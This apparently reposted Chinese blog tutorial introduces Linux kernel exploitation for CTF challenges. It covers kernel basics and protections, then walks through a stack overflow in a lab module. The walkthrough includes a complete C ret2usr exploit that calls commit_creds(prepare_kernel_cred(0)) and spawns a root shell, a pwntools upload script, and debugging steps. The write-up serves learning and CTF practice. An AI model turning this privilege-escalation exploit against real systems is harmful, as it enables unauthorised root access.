我是靠谱客的博主 害怕钢笔,最近开发中收集的这篇文章主要介绍Linux kernel 攻击 入门,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

基础知识

kernel 介绍

kernel 是现代操作系统最基本的部分,主要功能有两点:

  1. 控制I/O并与硬件进行交互
  2. 提供 application 能运行的环境

包括 I/O,权限控制,系统调用,进程管理,内存管理等多项功能都可以归结到上边两点中。

intel CPU 将 CPU 的特权级别分为 4 个级别:Ring 0, Ring 1, Ring 2, Ring 3。
Ring0 只给 OS 使用,Ring 3 所有程序都可以使用,内层 Ring 可以随便使用外层 Ring 的资源。
大多数的现代操作系统只使用了 Ring 0 和 Ring 3。

Loadable Kernel Modules(LKMs)

可加载核心模块 (或直接称为内核模块) 就像运行在内核空间的可执行程序,包括:

  • 驱动程序
    • 设备驱动
    • 文件系统驱动
  • 内核扩展模块

LKMs 的文件格式和用户态的可执行程序相同,可以用IDA等反编译工具分析内核模块。

ioctl 是一个系统调用,用于与设备通信,与驱动程序进行交互
int ioctl(int fd, unsigned long request, …) 的第一个参数为打开设备 (open) 返回的 文件描述符,第二个参数为用户程序对设备的控制命令,再后边的参数则是一些补充参数,与设备有关。

常用命令:
  • lsmod: 列出已经加载的模块
  • rmmod: 从内核中卸载指定模块
  • insmod: 讲指定模块加载到内核中
  • cat /proc/cpuinfo:查看所开保护
  • cat /proc/slabinfo: 查看内核堆块
  • grep prepare_kernel_cred /proc/kallsyms:查看prepare_kernel_cred地址
  • grep commit_creds /proc/kallsyms:查看commit_creds地址
内核态函数:
  • copy_from_user() 实现了将用户空间的数据传送到内核空间
  • copy_to_user() 实现了将内核空间的数据传送到用户空间

kernel 中有两个可以方便的改变权限的函数:

  • int commit_creds(struct cred *new)
  • struct cred* prepare_kernel_cred(struct task_struct* daemon)

执行 commit_creds(prepare_kernel_cred(0)) 即可获得 root 权限(root 的 uid,gid 均为 0)

内核态和用户态切换
  • 用户空间进入内核空间的过程:
    • 通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
    • 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
    • 通过 push 保存各寄存器值
    • 通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。
  • 内核空间返回用户空间
    • 通过 swapgs 恢复 GS 值
    • 通过 sysretq 或者 iretq 恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)
常见保护:
  • KPT(Kernel PageTable lsolation, 内核页表隔离)
  • KASLR:内核地址空间布局随机化
  • SMAP/SMEP:SMAP(Supervisor Mode Access Prevention,管理模式访问保护)和SMEP(Supervisor Mode Execution Prevention, 管理模式执行保护)的作用分别是禁止内核访问用户空间的数据和禁止内核执行用户空间的代码。

Linux kernel pwn相关

一般来说,题目会给出一下四个文件:
在这里插入图片描述

  • baby.ko: 一般为漏洞程序,可以用ida 打开
  • bzImage:打包的内核代码,可以用来寻找gadget
  • Initramfs.cpio: 文件系统映像
  • startvm.sh: 一个用于启动 kernel 的 shell 的脚本

startvm.sh:

#!/bin/bash

stty intr ^]
cd `dirname $0`
timeout --foreground 600 qemu-system-x86_64 
    -m 64M 
    -nographic 
    -kernel bzImage 
    -append 'console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr' 
    -monitor /dev/null 
    -initrd initramfs.cpio 
    -smp cores=1,threads=1 
    -cpu qemu64 2>/dev/null
    -gdb tcp::1234
  • -m 64M:设置虚拟 RAM 为 64M,默认为 128M
  • -initrd initramfs.cpio,使用 rootfs.cpio 作为内核启动的文件系统
  • -kernel bzImage:使用 bzImage 作为 kernel 映像

题目解析:栈溢出

1. 使用ida分析程序:baby.ko

查看信息:

mira@ubuntu:~/test/kernel/$ checksec ./baby.ko 
[*] '/home/mira/test/kernel/level1/baby.ko'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x0)

没有开 PIE,无 canary 保护,没有去除符号表。

使用ida打开分析程序如下:

__int64 __usercall sub_0@<rax>(__int64 a1@<rbp>, __int64 a2@<rsi>, __int64 a3@<rdi>)
{
  __int64 src; // rdx
  __int64 dst; // [rsp-88h] [rbp-88h]
  __int64 v6; // [rsp-8h] [rbp-8h]

  _fentry__(a3, a2);
  if ( (_DWORD)a2 != 0x6001 )
    return 0LL;
  v6 = a1;
  return (signed int)copy_from_user(&dst, src, 0x100LL);//栈溢出
}

src 是用户态的地址, dst 是内核函数中栈上的地址。
程序从src中拷贝0x100 个字节到dst ,存在溢出,因此可以控制程序的返回地址。

2.根据栈溢出写exp:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
//gcc exp.c -o exp --static
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xffffffff810b9d80;
void (*commit_creds)(void*) KERNCALL = (void*) 0xffffffff810b99d0;

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov %cs, user_cs;"
            "mov %ss, user_ss;"
            "mov %rsp, user_sp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

void get(){

    commit_creds(prepare_kernel_cred(0));//提权:root权限
	asm(
		"swapgs;"
		"pushq user_ss;"
		"pushq user_sp;"
		"pushq user_rflags;"
		"pushq user_cs;"
		"push $shell;"
		"iretq;");
}

void shell(){
	puts("getshell!");
    system("/bin/sh");
}

int main(){
	save_status();
    long long buf[0x100];
	int i = 0;
	for (i=0; i < 0x100; i++)
	{
		buf[i] = &get;
	}
    int fd = open("/dev/baby",0);
    getchar();
    ioctl(fd,0x6001,buf);
    return 0;
}

编译生成exp程序:

mira@ubuntu:~/test/kernel/$ musl-gcc ./exp.c --static -o exp
3.将exp放入 initramfs.cpio 文件系统/home/pwn/目录下

两种方法:

  • 1.通过脚本 将 exp 程序传入:
# -*- coding: utf-8 -*-

from pwn import *
from sys import argv
p = process("./startvm.sh",shell=True)

def send_file(name,sym):
    file = read(name)
    f = b64e(file)

    size = 800
    print len(f)
    for i in range(len(f)/size + 1):
        log.info("Sending chunk {}/{}".format(i, len(f)/size))
        p.sendlineafter(sym,"echo -n '{}'>>/home/pwn/exp.gz.b64".format(f[i*size:(i+1)*size]))

    p.sendlineafter(sym,"cat /home/pwn/exp.gz.b64 | base64 -d > /home/pwn/exp.gz")
    p.sendlineafter(sym,"gzip -d /home/pwn/exp.gz")
    p.sendlineafter(sym,"chmod +x /home/pwn/exp")
    os.system("rm exp.gz")
    os.system("mv exp.bak exp")

def exploit():
    # os.system("gcc ./exp.c -o exp --static")
    # os.system("strip ./exp")
    sym = "$"
    if len(argv) == 2:
        if(argv[1] == "root"):
            sym = "#"
        elif argv[1] == "user":
            sym = "$"
        else:
            print "user or root?"
            exit()
    os.system("cp ./exp ./exp.bak")
    os.system("gzip ./exp")
    # raw_input(">")
    send_file("exp.gz",sym)
    p.interactive()

if __name__ == "__main__":

    exploit()
  • 2.解压 initramfs.cpio,复制exp,重新打包initramfs.cpio
#解压 initramfs.cpio
mira@ubuntu:~/test/kernel$ mkdir core
mira@ubuntu:~/test/kernel$ cp ./initramfs.cpio ./core
mira@ubuntu:~/test/kernel$ cd core
mira@ubuntu:~/test/kernel/core$ cpio -idmv < initramfs.cpio 
#复制exp:
mira@ubuntu:~/test/kernel/core/$ cp ../exp ./core/home/pwn/
# 重新打包initramfs.cpio
mira@ubuntu:~/test/kernel/core$ find . | cpio -o --format=newc > initramfs.cpio
mira@ubuntu:~/test/kernel/core$ cp ./initramfs.cpio ../
mira@ubuntu:~/test/kernel/core$ cd ..
4.启动文件系统

mira@ubuntu:~/test/kernel$ ./startvm.sh
在这里插入图片描述
查看用户权限可知,当前用户非root权限:
在这里插入图片描述
执行 exp进行提权,查看权限:
在这里插入图片描述
可以看到 udi=0,gid=0,说明成功执行了exp中commit_creds(prepare_kernel_cred(0)) 提权代码。

5.调试内核
  • 查看内核模块加载地址:

    /home/pwn # lsmod
     baby 16384 1 - Live 0xffffffffc0002000 (POE)
    
  • 开启新终端,gdb远程连接

    • set architecture i386:x86-64
    • target remote 127.0.0.1:1234
      在这里插入图片描述
      根据模块加载基址以及栈溢出函数偏移计算断点位置:
      在这里插入图片描述
      addr = 0xffffffffc0002000 + 0x10 = 0xffffffffc0002010
  • 下断点运行:
    在这里插入图片描述

  • 执行exp触发断点
    在这里插入图片描述
    执行next命令,单步执行:
    commit_creds(prepare_kernel_cred(0));进行提权
    在这里插入图片描述
    通过 iretq指令,进行跳转到shell函数执行,并获取shell
    在这里插入图片描述
    执行系统函数,获取shell
    在这里插入图片描述
    通过内核调试可知,验证了 exp成功调用提权函数进行提权,并获取了shell。
    在这里插入图片描述

参考链接

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/basic_knowledge-zh/

最后

以上就是害怕钢笔为你收集整理的Linux kernel 攻击 入门的全部内容,希望文章能够帮你解决Linux kernel 攻击 入门所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(52)

评论列表共有 0 条评论

立即
投稿
返回
顶部